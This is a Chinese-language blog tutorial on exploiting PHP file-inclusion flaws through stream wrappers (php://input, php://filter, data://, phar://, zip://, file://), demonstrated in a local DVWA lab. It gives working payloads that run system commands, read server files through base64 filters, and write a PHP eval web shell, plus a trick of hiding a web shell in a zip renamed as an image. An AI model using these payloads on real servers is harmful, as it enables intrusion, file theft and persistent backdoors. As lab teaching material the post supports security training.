PHP伪协议

文件包含伪协议

PHP内置了很多URL风格的封装协议,可用于类似fopen()、copy()、file_exists() 和 filesize()的文件系统函数。

常见文件包含函数:
include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file.

常见的伪协议:

php:// — 访问各个输入/输出流(I/O streams)

data:// — 数据(RFC 2397)

file:// — 访问本地文件系统

zlib:// — 压缩流

phar:// — PHP 归档

php://input(接收POST提交过来的值)

利用条件:
  1. allow_url_fopen=on
  2. allow_url_include=on
  3. php版本小于等于5.3.0
利用方式:

执行phpinfo();

img

getshell

img

php://filter

利用条件:
  1. allow_url_fopen=on
  2. allow_url_include没有要求
利用方式:

php://filter/read=convert.base64-encode/resource=./robots.txt

读取目标服务器文件内容,并讲这些内容进行base64编码,我们只需要解码就可以了。

img

data:text/plain

利用条件:
  1. allow_url_fopen=ON
  2. allow_url_include=ON
  3. php版本大于5.2
利用方式:
data:text/plain,<?php phpinfo();?>
data:text/plain,<?php system("whoami");?>
data:text/plain,<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["s"]);?>');?>

who am i 显示的是实际用户的用户名,即用户登陆的时候的用户ID。此命令相当于who -m。

whoami 显示的是有效用户ID,当前“操作用户”的用户名。

fputs(file,string,length)

fputs() 函数将内容写入一个打开的文件中。

函数会在到达指定长度或读到文件末尾(EOF)时(以先到者为准),停止运行。

如果函数成功执行,则返回写入的字节数。如果失败,则返回 FALSE。

fputs() 函数是 fwrite() 函数的别名。

file必需。规定要写入的打开文件。
string必需。规定要写入打开文件的字符串。

实例

<?php $file = fopen("test.txt","w"); echo fputs($file,"Hello World. Testing!"); fclose($file); ?>

输出:21

题目

img

执行命令:

img

getshell:

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=data:text/plain,<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["s"]);?>');?>

img

查看目录,shell写入成功:

img

img

data:text/plain;base64,

利用方式

同data:text/plain,但是需要进行base64编码和url编码。

题目

1,使用了**data:text/plain;base64,**但是没有进行base64加密,所以报错

img

2,进行第一次base64加密之后产生的加号+导致了报错

img

3,对加号进行url进行编码

img

命令执行:

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

img

phar://

phar://[压缩文件路径]/[压缩文件内的子文件名]

利用条件:

php版本大于等于5.3.0

利用方式:

利用思路:将一句话木马添加到压缩包2.zip中,然后将2.zip上传到目标服务器上。

使用:page=phar://2.zip/2.php

img

file:

利用条件:

对allow_url_fopen和allow_url_include不做要求

利用方式:

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file://E:%5Cphpstudy_pro%5CWWW%5CDVWA%5Cvulnerabilities%5Cfi%5Cshy.txt

img

zip//

zip://[压缩文件路径]#[压缩文件内的子文件名]

利用思路

将一句话木马添加到压缩包1.zip中,然后将1.zip重命名成1.jpg上传到目标服务器上。

利用方式

zip://1.jpg%231.php 执行一句话木马

img

php 执行一句话木马

img

  • 2
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值